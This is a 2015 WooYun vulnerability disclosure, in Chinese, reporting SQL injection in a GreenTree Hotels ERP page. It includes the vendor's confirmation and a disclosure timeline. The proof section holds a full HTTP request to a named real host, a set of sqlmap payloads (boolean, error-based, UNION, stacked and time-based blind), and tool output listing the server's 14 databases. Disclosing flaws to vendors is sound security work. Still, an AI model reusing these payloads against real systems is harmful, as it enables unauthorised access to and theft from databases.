当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0106003

漏洞标题：格林豪泰某重要系统存在SQL注入

相关厂商：格林豪泰酒店管理集团

漏洞作者： 小邪

提交时间：2015-04-05 14:31

修复时间：2015-05-22 11:36

公开时间：2015-05-22 11:36

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-05： 细节已通知厂商并且等待厂商处理中
2015-04-07： 厂商已经确认，细节仅向厂商公开
2015-04-17： 细节向核心白帽子及相关领域专家公开
2015-04-27： 细节向普通白帽子公开
2015-05-07： 细节向实习白帽子公开
2015-05-22： 细节向公众公开

简要描述：

格林豪泰某重要系统存在SQL注入涉及14个库

详细说明：

问题处：

POST /op/Module_ERP/UserActive.aspx?userid=1997* HTTP/1.1
Host: system.greentree.com.cn:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DontTrackMeHere: gzip, deflate
Referer: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=1997%27
X-Forwarded-For: '
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 218
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE4OTM2NjcwNTBkZIHMoL2SEOkGJ5sSt21NlTiUkV%2B%2B&__EVENTVALIDATION=%2FwEWAwLJ06XnBwKvpuq2CALVo8avDihMEeCxnynpwiepj1kT%2FPDS8syL&username=%A1%AE&Submit1=%BC%A4%BB%EE


该post包提交的地址参数userid存在注入【直接get注入不能成功,要带着post包去跑】

漏洞证明：

Place: URI
Parameter: #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=1997 AND 2338=2338
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=1997 AND 4834=CONVERT(INT,(CHAR(58) CHAR(106) CHAR(103) CHAR(120) CHAR(58)
 (SELECT (CASE WHEN (4834=4834) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(
113) CHAR(119) CHAR(105) CHAR(58)))
    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=1997 UNION ALL SELECT CHAR(58) CHAR(106) CHAR(103) CHAR(120) CHAR(58) CHAR
(122) CHAR(116) CHAR(100) CHAR(65) CHAR(107) CHAR(117) CHAR(70) CHAR(100) CHAR(8
4) CHAR(97) CHAR(58) CHAR(113) CHAR(119) CHAR(105) CHAR(58),NULL,NULL,NULL,NULL-
-
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=1997; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=1997 WAITFOR DELAY '0:0:5'--
    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=(SELECT CHAR(58) CHAR(106) CHAR(103) CHAR(120) CHAR(58) (SELECT (CASE WHEN
 (8853=8853) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(113) CHAR(119) CHAR
(105) CHAR(58))
---
[13:39:44] [INFO] testing Microsoft SQL Server
[13:39:44] [INFO] confirming Microsoft SQL Server
[13:39:44] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[13:39:44] [INFO] fetching database names
[13:39:45] [INFO] the SQL query used returns 14 entries
[13:39:45] [INFO] retrieved: "DBA"
[13:39:45] [INFO] retrieved: "GreenTree_OP"
[13:39:45] [INFO] retrieved: "GTI_QA"
[13:39:45] [INFO] retrieved: "kno"
[13:39:46] [INFO] retrieved: "kno_qa"
[13:39:46] [INFO] retrieved: "kno2"
[13:39:46] [INFO] retrieved: "master"
[13:39:46] [INFO] retrieved: "model"
[13:39:47] [INFO] retrieved: "msdb"
[13:39:47] [INFO] retrieved: "myOnlineExam"
[13:39:47] [INFO] retrieved: "Northwind"
[13:39:47] [INFO] retrieved: "pubs"
[13:39:47] [INFO] retrieved: "tempdb"
[13:39:48] [INFO] retrieved: "WebSite_Test"
available databases [14]:
[*] DBA
[*] GreenTree_OP
[*] GTI_QA
[*] kno
[*] kno2
[*] kno_qa
[*] master
[*] model
[*] msdb
[*] myOnlineExam
[*] Northwind
[*] pubs
[*] tempdb
[*] WebSite_Test

修复方案：

RT

版权声明：转载请注明来源 小邪@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-04-07 11:34

厂商回复：

已联系相关人员处理，感谢

最新状态：

暂无